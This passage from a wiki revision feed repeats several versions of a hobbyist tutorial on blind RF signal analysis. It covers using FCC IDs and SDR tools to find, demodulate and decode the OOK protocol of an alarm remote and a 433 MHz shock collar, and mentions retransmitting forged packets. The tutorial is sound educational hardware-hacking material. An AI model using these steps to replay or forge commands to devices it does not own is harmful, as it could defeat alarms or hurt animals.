Awesome US spectrum allocation graphic: https://upload.wikimedia.org/wikipedia/commons/d/df/United_States_Frequency_Allocations_Chart_2011_-_The_Radio_Spectrum.pdf&lt;br /&gt;
&lt;br /&gt;
Wikipedia page on ISM bands: https://en.wikipedia.org/wiki/ISM_band&lt;br /&gt;
&lt;br /&gt;
Our demo device right now will be an alarm remote control with the fccid &amp;quot;B4Z-RF400401&amp;quot; that does not have the frequency listed on the package.&lt;br /&gt;
&lt;br /&gt;
[[File:Remote.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
We can throw this ID into the https://fccid.io/ site to get some details.&lt;br /&gt;
&lt;br /&gt;
https://fccid.io/B4Z-RF4004-01-2&lt;br /&gt;
&lt;br /&gt;
[[File:B4Z-RF400401_fccid.io.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
Now we know where this device is supposed to be transmitting and we can move on to the next steps.&lt;br /&gt;
&lt;br /&gt;
== How to look ==&lt;br /&gt;
&lt;br /&gt;
Some favorites are gqrx (linux and mac http://gqrx.dk/) or sdr# (windows http://airspy.com/download/ ) in a higher sample rate mode to inspect the entire band the device operates on to look for the signal. For the rest of the demo I will be using another device with no FCC id. It advertises that it operates at 433mhz. I will be capturing with the RTL-SDR dongle.&lt;br /&gt;
&lt;br /&gt;
[[File:Shock_Collar.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
{{#ev:youtube|NI8U1IfQyto}}&lt;br /&gt;
&lt;br /&gt;
I know where to look for the signal now but the wave form isn&#039;t showing me very much. Listening to the demodulated audio does tell me something however, this sounds like Amplitude Shift Keying (ASK) also known as On Off Keying (OOK). Lets verify this with gnuradio and gr-fosphor over the hackrf for a bit higher quality signal.&lt;br /&gt;
&lt;br /&gt;
[[File:Inspect_ook_grc.png|500px]]&lt;br /&gt;
[[File:Inspect_ook_gr-fosphor.png|500px]]&lt;br /&gt;
&lt;br /&gt;
This absolutely looks like OOK.&lt;br /&gt;
&lt;br /&gt;
Useful link to the Signal Identification Guide wiki: http://www.sigidwiki.com/wiki/Signal_Identification_Guide&lt;br /&gt;
&lt;br /&gt;
== Decoding ==&lt;br /&gt;
&lt;br /&gt;
Our next task will be to determine the data rate, a favorite tool is Inspectrum (https://github.com/miek/inspectrum).&lt;br /&gt;
&lt;br /&gt;
[[File:Inspectrum_ook.png|500px]]&lt;br /&gt;
&lt;br /&gt;
We can see the definite bits here and get a general idea about the baud rate, it looks like it is above 3500 baud but we can refine this! Another useful tool is Universal Radio Hacker (https://github.com/sthysel/urh) that can take a bunch of the work out of demodulating and decoding a signal.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_waveform_demod.png|500px]]&lt;br /&gt;
&lt;br /&gt;
Knowing the approximate baud rate and our sample rate of 2 million samples per second we can start to fiddle with the bit length and noise level to decode the packets. Things start to settle out at 500 samples per bit. This would give us a baud rate of 4000, this isn&#039;t accurate because of the rest of the tinkering but it will let us decode the signal. More careful adjustment will get us closer to the actual rate of 555 samples per second or 3600 baud. At this point we can retransmit these bits with the hackrf and trigger the device but it doesn&#039;t give us a clear of an idea what is actually going on.&lt;br /&gt;
&lt;br /&gt;
The pattern of bits look like there is some error correction built in, a sequence of 1000 seems to equal 0 and 1110 equals a 1. URH will let us decode this further as seen below.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_NRZ_replace.png|500px]]&lt;br /&gt;
&lt;br /&gt;
The resulting packets now look like this.&lt;br /&gt;
&lt;br /&gt;
[[File:Decoded_packets.png]]&lt;br /&gt;
&lt;br /&gt;
If we ignore the noise on 5 and 10 we can see a sequence forming. This sequence is the result of changing the power level setting on the remote control. With more changes and monitoring the entire protocol can be decoded.&lt;br /&gt;
&lt;br /&gt;
[[File:Collar_protocol_packet.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
== Sending our own data ==&lt;br /&gt;
&lt;br /&gt;
With this data we can now use a tool like the YARD Stick One to transmit our own packets to the device. I have posted the complete the code here. https://github.com/rjmendez/ShockCollar&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2819</id>
		<title>RF Signal Analysis</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2819"/>
		<updated>2017-08-07T00:50:26Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page will be to cover some basic RF signal analysis.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
Many IoT devices use &amp;lt; 1Ghz signaling for various functions (various sensors, remote controls, device to device communication) with an undocumented and sometimes proprietary protocol. It can often be difficult to understand these without documentation and the aim here is to provide some of the first steps needed to identify and decode some of the data. The hardware used in this demo will be:&lt;br /&gt;
&lt;br /&gt;
A HackRF from Great Scott Gadgets. (https://greatscottgadgets.com/hackrf/)&lt;br /&gt;
&lt;br /&gt;
An RTL-SDR dongle from the rtl-sdr blog that is for sale on amazon. (http://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/)&lt;br /&gt;
&lt;br /&gt;
Another device from Great Scott Gadgets, the YARD Stick One. (https://greatscottgadgets.com/yardstickone/)&lt;br /&gt;
&lt;br /&gt;
== Where to look ==&lt;br /&gt;
&lt;br /&gt;
One great place to start is with the FCC documentation for the transmitting device, if the device has an fccid then it will have information on file. Some good reference links are below.&lt;br /&gt;
&lt;br /&gt;
Awesome US spectrum allocation graphic: https://upload.wikimedia.org/wikipedia/commons/d/df/United_States_Frequency_Allocations_Chart_2011_-_The_Radio_Spectrum.pdf&lt;br /&gt;
&lt;br /&gt;
Wikipedia page on ISM bands: https://en.wikipedia.org/wiki/ISM_band&lt;br /&gt;
&lt;br /&gt;
Our demo device right now will be an alarm remote control with the fccid &amp;quot;B4Z-RF400401&amp;quot; that does not have the frequency listed on the package.&lt;br /&gt;
&lt;br /&gt;
[[File:Remote.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
We can throw this ID into the https://fccid.io/ site to get some details.&lt;br /&gt;
&lt;br /&gt;
https://fccid.io/B4Z-RF4004-01-2&lt;br /&gt;
&lt;br /&gt;
[[File:B4Z-RF400401_fccid.io.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
Now we know where this device is supposed to be transmitting and we can move on to the next steps.&lt;br /&gt;
&lt;br /&gt;
== How to look ==&lt;br /&gt;
&lt;br /&gt;
Some favorites are gqrx (linux and mac http://gqrx.dk/) or sdr# (windows http://airspy.com/download/ ) in a higher sample rate mode to inspect the entire band the device operates on to look for the signal. For the rest of the demo I will be using another device with no FCC id. It advertises that it operates at 433mhz. I will be capturing with the RTL-SDR dongle.&lt;br /&gt;
&lt;br /&gt;
[[File:Shock_Collar.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
{{#ev:youtube|NI8U1IfQyto}}&lt;br /&gt;
&lt;br /&gt;
I know where to look for the signal now but the wave form isn&#039;t showing me very much. Listening to the demodulated audio does tell me something however, this sounds like Amplitude Shift Keying (ASK) also known as On Off Keying (OOK). Lets verify this with gnuradio and gr-fosphor over the hackrf for a bit higher quality signal.&lt;br /&gt;
&lt;br /&gt;
[[File:Inspect_ook_grc.png|500px]]&lt;br /&gt;
[[File:Inspect_ook_gr-fosphor.png|500px]]&lt;br /&gt;
&lt;br /&gt;
This absolutely looks like OOK.&lt;br /&gt;
&lt;br /&gt;
Useful link to the Signal Identification Guide wiki: http://www.sigidwiki.com/wiki/Signal_Identification_Guide&lt;br /&gt;
&lt;br /&gt;
== Decoding ==&lt;br /&gt;
&lt;br /&gt;
Our next task will be to determine the data rate, a favorite tool is Inspectrum (https://github.com/miek/inspectrum).&lt;br /&gt;
&lt;br /&gt;
[[File:Inspectrum_ook.png|500px]]&lt;br /&gt;
&lt;br /&gt;
We can see the definite bits here and get a general idea about the baud rate, it looks like it is above 3500 baud but we can refine this! Another useful tool is Universal Radio Hacker (https://github.com/sthysel/urh) that can take a bunch of the work out of demodulating and decoding a signal.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_waveform_demod.png|500px]]&lt;br /&gt;
&lt;br /&gt;
Knowing the approximate baud rate and our sample rate of 2 million samples per second we can start to fiddle with the bit length and noise level to decode the packets. Things start to settle out at 500 samples per bit. This would give us a baud rate of 4000, this isn&#039;t accurate because of the rest of the tinkering but it will let us decode the signal. More careful adjustment will get us closer to the actual rate of 555 samples per second or 3600 baud. At this point we can retransmit these bits with the hackrf and trigger the device but it doesn&#039;t give us a clear of an idea what is actually going on.&lt;br /&gt;
&lt;br /&gt;
The pattern of bits look like there is some error correction built in, a sequence of 1000 seems to equal 0 and 1110 equals a 1. URH will let us decode this further as seen below.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_NRZ_replace.png|500px]]&lt;br /&gt;
&lt;br /&gt;
The resulting packets now look like this.&lt;br /&gt;
&lt;br /&gt;
[[File:Decoded_packets.png]]&lt;br /&gt;
&lt;br /&gt;
If we ignore the noise on 5 and 10 we can see a sequence forming. This sequence is the result of changing the power level setting on the remote control. With more changes and monitoring the entire protocol can be decoded.&lt;br /&gt;
&lt;br /&gt;
[[File:Collar_protocol_packet.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
== Sending our own data ==&lt;br /&gt;
&lt;br /&gt;
With this data we can now use a tool like the YARD Stick One to transmit our own packets to the device. I have posted the complete the code here. https://github.com/rjmendez/ShockCollar&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2818</id>
		<title>RF Signal Analysis</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2818"/>
		<updated>2017-08-07T00:30:23Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page will be to cover some basic blind RF signal analysis.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
Many IoT devices use &amp;lt; 1Ghz signaling for various functions (various sensors, remote controls, device to device communication) with an undocumented and sometimes proprietary protocol. It can often be difficult to understand these without documentation and the aim here is to provide some of the first steps needed to identify and decode some of the data. The hardware used in this demo will be:&lt;br /&gt;
&lt;br /&gt;
A HackRF from Great Scott Gadgets. (https://greatscottgadgets.com/hackrf/)&lt;br /&gt;
&lt;br /&gt;
An RTL-SDR dongle from the rtl-sdr blog that is for sale on amazon. (http://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/)&lt;br /&gt;
&lt;br /&gt;
Another device from Great Scott Gadgets, the YARD Stick One. (https://greatscottgadgets.com/yardstickone/)&lt;br /&gt;
&lt;br /&gt;
== Where to look ==&lt;br /&gt;
&lt;br /&gt;
One great place to start is with the FCC documentation for the transmitting device, if the device has an fccid then it will have information on file. Some good reference links are below.&lt;br /&gt;
&lt;br /&gt;
Awesome US spectrum allocation graphic: https://upload.wikimedia.org/wikipedia/commons/d/df/United_States_Frequency_Allocations_Chart_2011_-_The_Radio_Spectrum.pdf&lt;br /&gt;
&lt;br /&gt;
Wikipedia page on ISM bands: https://en.wikipedia.org/wiki/ISM_band&lt;br /&gt;
&lt;br /&gt;
Our demo device right now will be an alarm remote control with the fccid &amp;quot;B4Z-RF400401&amp;quot; that does not have the frequency listed on the package.&lt;br /&gt;
&lt;br /&gt;
[[File:Remote.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
We can throw this ID into the https://fccid.io/ site to get some details.&lt;br /&gt;
&lt;br /&gt;
https://fccid.io/B4Z-RF4004-01-2&lt;br /&gt;
&lt;br /&gt;
[[File:B4Z-RF400401_fccid.io.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
Now we know where this device is supposed to be transmitting and we can move on to the next steps.&lt;br /&gt;
&lt;br /&gt;
== How to look ==&lt;br /&gt;
&lt;br /&gt;
Some favorites are gqrx (linux and mac http://gqrx.dk/) or sdr# (windows http://airspy.com/download/ ) in a higher sample rate mode to inspect the entire band the device operates on to look for the signal. For the rest of the demo I will be using another device with no FCC id. It advertises that it operates at 433mhz. I will be capturing with the RTL-SDR dongle.&lt;br /&gt;
&lt;br /&gt;
[[File:Shock_Collar.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
{{#ev:youtube|NI8U1IfQyto}}&lt;br /&gt;
&lt;br /&gt;
I know where to look for the signal now but the wave form isn&#039;t showing me very much. Listening to the demodulated audio does tell me something however, this sounds like Amplitude Shift Keying (ASK) also known as On Off Keying (OOK). Lets verify this with gnuradio and gr-fosphor over the hackrf for a bit higher quality signal.&lt;br /&gt;
&lt;br /&gt;
[[File:Inspect_ook_grc.png|500px]]&lt;br /&gt;
[[File:Inspect_ook_gr-fosphor.png|500px]]&lt;br /&gt;
&lt;br /&gt;
This absolutely looks like OOK.&lt;br /&gt;
&lt;br /&gt;
Useful link to the Signal Identification Guide wiki: http://www.sigidwiki.com/wiki/Signal_Identification_Guide&lt;br /&gt;
&lt;br /&gt;
== Decoding ==&lt;br /&gt;
&lt;br /&gt;
Our next task will be to determine the data rate, a favorite tool is Inspectrum (https://github.com/miek/inspectrum).&lt;br /&gt;
&lt;br /&gt;
[[File:Inspectrum_ook.png|500px]]&lt;br /&gt;
&lt;br /&gt;
We can see the definite bits here and get a general idea about the baud rate, it looks like it is above 3500 baud but we can refine this! Another useful tool is Universal Radio Hacker (https://github.com/sthysel/urh) that can take a bunch of the work out of demodulating and decoding a signal.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_waveform_demod.png|500px]]&lt;br /&gt;
&lt;br /&gt;
Knowing the approximate baud rate and our sample rate of 2 million samples per second we can start to fiddle with the bit length and noise level to decode the packets. Things start to settle out at 500 samples per bit. This would give us a baud rate of 4000, this isn&#039;t accurate because of the rest of the tinkering but it will let us decode the signal. More careful adjustment will get us closer to the actual rate of 555 samples per second or 3600 baud. At this point we can retransmit these bits with the hackrf and trigger the device but it doesn&#039;t give us a clear of an idea what is actually going on.&lt;br /&gt;
&lt;br /&gt;
The pattern of bits look like there is some error correction built in, a sequence of 1000 seems to equal 0 and 1110 equals a 1. URH will let us decode this further as seen below.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_NRZ_replace.png|500px]]&lt;br /&gt;
&lt;br /&gt;
The resulting packets now look like this.&lt;br /&gt;
&lt;br /&gt;
[[File:Decoded_packets.png]]&lt;br /&gt;
&lt;br /&gt;
If we ignore the noise on 5 and 10 we can see a sequence forming. This sequence is the result of changing the power level setting on the remote control. With more changes and monitoring the entire protocol can be decoded.&lt;br /&gt;
&lt;br /&gt;
[[File:Collar_protocol_packet.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
== Sending our own data ==&lt;br /&gt;
&lt;br /&gt;
With this data we can now use a tool like the YARD Stick One to transmit our own packets to the device. I have posted the complete the code here. https://github.com/rjmendez/ShockCollar&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=User:Rjmendez&amp;diff=2817</id>
		<title>User:Rjmendez</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=User:Rjmendez&amp;diff=2817"/>
		<updated>2017-08-06T22:23:07Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: Rjmendez moved page User:Rjmendez to Blind RF Signal Analysis&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Blind RF Signal Analysis]]&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2816</id>
		<title>RF Signal Analysis</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2816"/>
		<updated>2017-08-06T22:23:07Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: Rjmendez moved page User:Rjmendez to Blind RF Signal Analysis&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page will be to cover some basic blind RF signal analysis.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
Many IoT devices use &amp;lt; 1Ghz signaling for various functions (various sensors, remote controls, device to device communication) with an undocumented and sometimes proprietary protocol. It can often be difficult to understand these without documentation and the aim here is to provide some of the first steps needed to identify and decode some of the data. The hardware used in this demo will be:&lt;br /&gt;
&lt;br /&gt;
A HackRF from Great Scott Gadgets. (https://greatscottgadgets.com/hackrf/)&lt;br /&gt;
&lt;br /&gt;
An RTL-SDR dongle from the rtl-sdr blog that is for sale on amazon. (http://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/)&lt;br /&gt;
&lt;br /&gt;
Another device from Great Scott Gadgets, the YARD Stick One. (https://greatscottgadgets.com/yardstickone/)&lt;br /&gt;
&lt;br /&gt;
== Where to look ==&lt;br /&gt;
&lt;br /&gt;
One great place to start is with the FCC documentation for the transmitting device, if the device has an fccid then it will have information on file. Some good reference links are below.&lt;br /&gt;
&lt;br /&gt;
Awesome US spectrum allocation graphic: https://upload.wikimedia.org/wikipedia/commons/d/df/United_States_Frequency_Allocations_Chart_2011_-_The_Radio_Spectrum.pdf&lt;br /&gt;
&lt;br /&gt;
Wikipedia page on ISM bands: https://en.wikipedia.org/wiki/ISM_band&lt;br /&gt;
&lt;br /&gt;
Our demo device right now will be an alarm remote control with the fccid &amp;quot;B4Z-RF400401&amp;quot; that does not have the frequency listed on the package.&lt;br /&gt;
&lt;br /&gt;
[[File:Remote.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
We can throw this ID into the https://fccid.io/ site to get some details.&lt;br /&gt;
&lt;br /&gt;
https://fccid.io/B4Z-RF4004-01-2&lt;br /&gt;
&lt;br /&gt;
[[File:B4Z-RF400401_fccid.io.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
Now we know where this device is supposed to be transmitting and we can move on to the next steps.&lt;br /&gt;
&lt;br /&gt;
== How to look ==&lt;br /&gt;
&lt;br /&gt;
Some favorites are gqrx (linux and mac http://gqrx.dk/) or sdr# (windows http://airspy.com/download/ ) in a higher sample rate mode to inspect the entire band the device operates on to look for the signal. For the rest of the demo I will be using another device with no FCC id. It advertises that it operates at 433mhz. I will be capturing with the RTL-SDR dongle.&lt;br /&gt;
&lt;br /&gt;
[[File:Shock_Collar.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
{{#ev:youtube|NI8U1IfQyto}}&lt;br /&gt;
&lt;br /&gt;
I know where to look for the signal now but the wave form isn&#039;t showing me very much. Listening to the demodulated audio does tell me something however, this sounds like Amplitude Shift Keying (ASK) also known as On Off Keying (OOK). Lets verify this with gnuradio and gr-fosphor over the hackrf for a bit higher quality signal.&lt;br /&gt;
&lt;br /&gt;
[[File:Inspect_ook_grc.png]]&lt;br /&gt;
[[File:Inspect_ook_gr-fosphor.png]]&lt;br /&gt;
&lt;br /&gt;
This absolutely looks like OOK.&lt;br /&gt;
&lt;br /&gt;
Useful link to the Signal Identification Guide wiki: http://www.sigidwiki.com/wiki/Signal_Identification_Guide&lt;br /&gt;
&lt;br /&gt;
== Decoding ==&lt;br /&gt;
&lt;br /&gt;
Our next task will be to determine the data rate, a favorite tool is Inspectrum (https://github.com/miek/inspectrum).&lt;br /&gt;
&lt;br /&gt;
[[File:Inspectrum_ook.png]]&lt;br /&gt;
&lt;br /&gt;
We can see the definite bits here and get a general idea about the baud rate, it looks like it is above 3500 baud but we can refine this! Another useful tool is Universal Radio Hacker (https://github.com/sthysel/urh) that can take a bunch of the work out of demodulating and decoding a signal.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_waveform_demod.png]]&lt;br /&gt;
&lt;br /&gt;
Knowing the approximate baud rate and our sample rate of 2 million samples per second we can start to fiddle with the bit length and noise level to decode the packets. Things start to settle out at 500 samples per bit. This would give us a baud rate of 4000, this isn&#039;t accurate because of the rest of the tinkering but it will let us decode the signal. More careful adjustment will get us closer to the actual rate of 555 samples per second or 3600 baud. At this point we can retransmit these bits with the hackrf and trigger the device but it doesn&#039;t give us a clear of an idea what is actually going on.&lt;br /&gt;
&lt;br /&gt;
The pattern of bits look like there is some error correction built in, a sequence of 1000 seems to equal 0 and 1110 equals a 1. URH will let us decode this further as seen below.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_NRZ_replace.png]]&lt;br /&gt;
&lt;br /&gt;
The resulting packets now look like this.&lt;br /&gt;
&lt;br /&gt;
[[File:Decoded_packets.png]]&lt;br /&gt;
&lt;br /&gt;
If we ignore the noise on 5 and 10 we can see a sequence forming. This sequence is the result of changing the power level setting on the remote control. With more changes and monitoring the entire protocol can be decoded.&lt;br /&gt;
&lt;br /&gt;
[[File:Collar_protocol_packet.PNG]]&lt;br /&gt;
&lt;br /&gt;
== Sending our own data ==&lt;br /&gt;
&lt;br /&gt;
With this data we can now use a tool like the YARD Stick One to transmit our own packets to the device. I have posted the complete the code here. https://github.com/rjmendez/ShockCollar&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2815</id>
		<title>RF Signal Analysis</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2815"/>
		<updated>2017-08-06T22:21:42Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: Created page with &amp;quot;This page will be to cover some basic blind RF signal analysis.  == About == Many IoT devices use &amp;lt; 1Ghz signaling for various functions (various sensors, remote controls, dev...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page will be to cover some basic blind RF signal analysis.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
Many IoT devices use &amp;lt; 1Ghz signaling for various functions (various sensors, remote controls, device to device communication) with an undocumented and sometimes proprietary protocol. It can often be difficult to understand these without documentation and the aim here is to provide some of the first steps needed to identify and decode some of the data. The hardware used in this demo will be:&lt;br /&gt;
&lt;br /&gt;
A HackRF from Great Scott Gadgets. (https://greatscottgadgets.com/hackrf/)&lt;br /&gt;
&lt;br /&gt;
An RTL-SDR dongle from the rtl-sdr blog that is for sale on amazon. (http://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/)&lt;br /&gt;
&lt;br /&gt;
Another device from Great Scott Gadgets, the YARD Stick One. (https://greatscottgadgets.com/yardstickone/)&lt;br /&gt;
&lt;br /&gt;
== Where to look ==&lt;br /&gt;
&lt;br /&gt;
One great place to start is with the FCC documentation for the transmitting device, if the device has an fccid then it will have information on file. Some good reference links are below.&lt;br /&gt;
&lt;br /&gt;
Awesome US spectrum allocation graphic: https://upload.wikimedia.org/wikipedia/commons/d/df/United_States_Frequency_Allocations_Chart_2011_-_The_Radio_Spectrum.pdf&lt;br /&gt;
&lt;br /&gt;
Wikipedia page on ISM bands: https://en.wikipedia.org/wiki/ISM_band&lt;br /&gt;
&lt;br /&gt;
Our demo device right now will be an alarm remote control with the fccid &amp;quot;B4Z-RF400401&amp;quot; that does not have the frequency listed on the package.&lt;br /&gt;
&lt;br /&gt;
[[File:Remote.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
We can throw this ID into the https://fccid.io/ site to get some details.&lt;br /&gt;
&lt;br /&gt;
https://fccid.io/B4Z-RF4004-01-2&lt;br /&gt;
&lt;br /&gt;
[[File:B4Z-RF400401_fccid.io.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
Now we know where this device is supposed to be transmitting and we can move on to the next steps.&lt;br /&gt;
&lt;br /&gt;
== How to look ==&lt;br /&gt;
&lt;br /&gt;
Some favorites are gqrx (linux and mac http://gqrx.dk/) or sdr# (windows http://airspy.com/download/ ) in a higher sample rate mode to inspect the entire band the device operates on to look for the signal. For the rest of the demo I will be using another device with no FCC id. It advertises that it operates at 433mhz. I will be capturing with the RTL-SDR dongle.&lt;br /&gt;
&lt;br /&gt;
[[File:Shock_Collar.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
{{#ev:youtube|NI8U1IfQyto}}&lt;br /&gt;
&lt;br /&gt;
I know where to look for the signal now but the wave form isn&#039;t showing me very much. Listening to the demodulated audio does tell me something however, this sounds like Amplitude Shift Keying (ASK) also known as On Off Keying (OOK). Lets verify this with gnuradio and gr-fosphor over the hackrf for a bit higher quality signal.&lt;br /&gt;
&lt;br /&gt;
[[File:Inspect_ook_grc.png]]&lt;br /&gt;
[[File:Inspect_ook_gr-fosphor.png]]&lt;br /&gt;
&lt;br /&gt;
This absolutely looks like OOK.&lt;br /&gt;
&lt;br /&gt;
Useful link to the Signal Identification Guide wiki: http://www.sigidwiki.com/wiki/Signal_Identification_Guide&lt;br /&gt;
&lt;br /&gt;
== Decoding ==&lt;br /&gt;
&lt;br /&gt;
Our next task will be to determine the data rate, a favorite tool is Inspectrum (https://github.com/miek/inspectrum).&lt;br /&gt;
&lt;br /&gt;
[[File:Inspectrum_ook.png]]&lt;br /&gt;
&lt;br /&gt;
We can see the definite bits here and get a general idea about the baud rate, it looks like it is above 3500 baud but we can refine this! Another useful tool is Universal Radio Hacker (https://github.com/sthysel/urh) that can take a bunch of the work out of demodulating and decoding a signal.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_waveform_demod.png]]&lt;br /&gt;
&lt;br /&gt;
Knowing the approximate baud rate and our sample rate of 2 million samples per second we can start to fiddle with the bit length and noise level to decode the packets. Things start to settle out at 500 samples per bit. This would give us a baud rate of 4000, this isn&#039;t accurate because of the rest of the tinkering but it will let us decode the signal. More careful adjustment will get us closer to the actual rate of 555 samples per second or 3600 baud. At this point we can retransmit these bits with the hackrf and trigger the device but it doesn&#039;t give us a clear of an idea what is actually going on.&lt;br /&gt;
&lt;br /&gt;
The pattern of bits look like there is some error correction built in, a sequence of 1000 seems to equal 0 and 1110 equals a 1. URH will let us decode this further as seen below.&lt;br /&gt;
&lt;br /&gt;
[[File:URH_NRZ_replace.png]]&lt;br /&gt;
&lt;br /&gt;
The resulting packets now look like this.&lt;br /&gt;
&lt;br /&gt;
[[File:Decoded_packets.png]]&lt;br /&gt;
&lt;br /&gt;
If we ignore the noise on 5 and 10 we can see a sequence forming. This sequence is the result of changing the power level setting on the remote control. With more changes and monitoring the entire protocol can be decoded.&lt;br /&gt;
&lt;br /&gt;
[[File:Collar_protocol_packet.PNG]]&lt;br /&gt;
&lt;br /&gt;
== Sending our own data ==&lt;br /&gt;
&lt;br /&gt;
With this data we can now use a tool like the YARD Stick One to transmit our own packets to the device. I have posted the complete the code here. https://github.com/rjmendez/ShockCollar&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Remote.jpg&amp;diff=2814</id>
		<title>File:Remote.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Remote.jpg&amp;diff=2814"/>
		<updated>2017-08-06T21:46:44Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Collar_protocol_packet.PNG&amp;diff=2813</id>
		<title>File:Collar protocol packet.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Collar_protocol_packet.PNG&amp;diff=2813"/>
		<updated>2017-08-06T21:42:40Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Decoded_packets.png&amp;diff=2812</id>
		<title>File:Decoded packets.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Decoded_packets.png&amp;diff=2812"/>
		<updated>2017-08-06T21:42:05Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:URH_NRZ_replace.png&amp;diff=2811</id>
		<title>File:URH NRZ replace.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:URH_NRZ_replace.png&amp;diff=2811"/>
		<updated>2017-08-06T21:41:41Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:URH_waveform_demod.png&amp;diff=2810</id>
		<title>File:URH waveform demod.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:URH_waveform_demod.png&amp;diff=2810"/>
		<updated>2017-08-06T21:41:09Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Inspectrum_ook.png&amp;diff=2809</id>
		<title>File:Inspectrum ook.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Inspectrum_ook.png&amp;diff=2809"/>
		<updated>2017-08-06T21:40:40Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
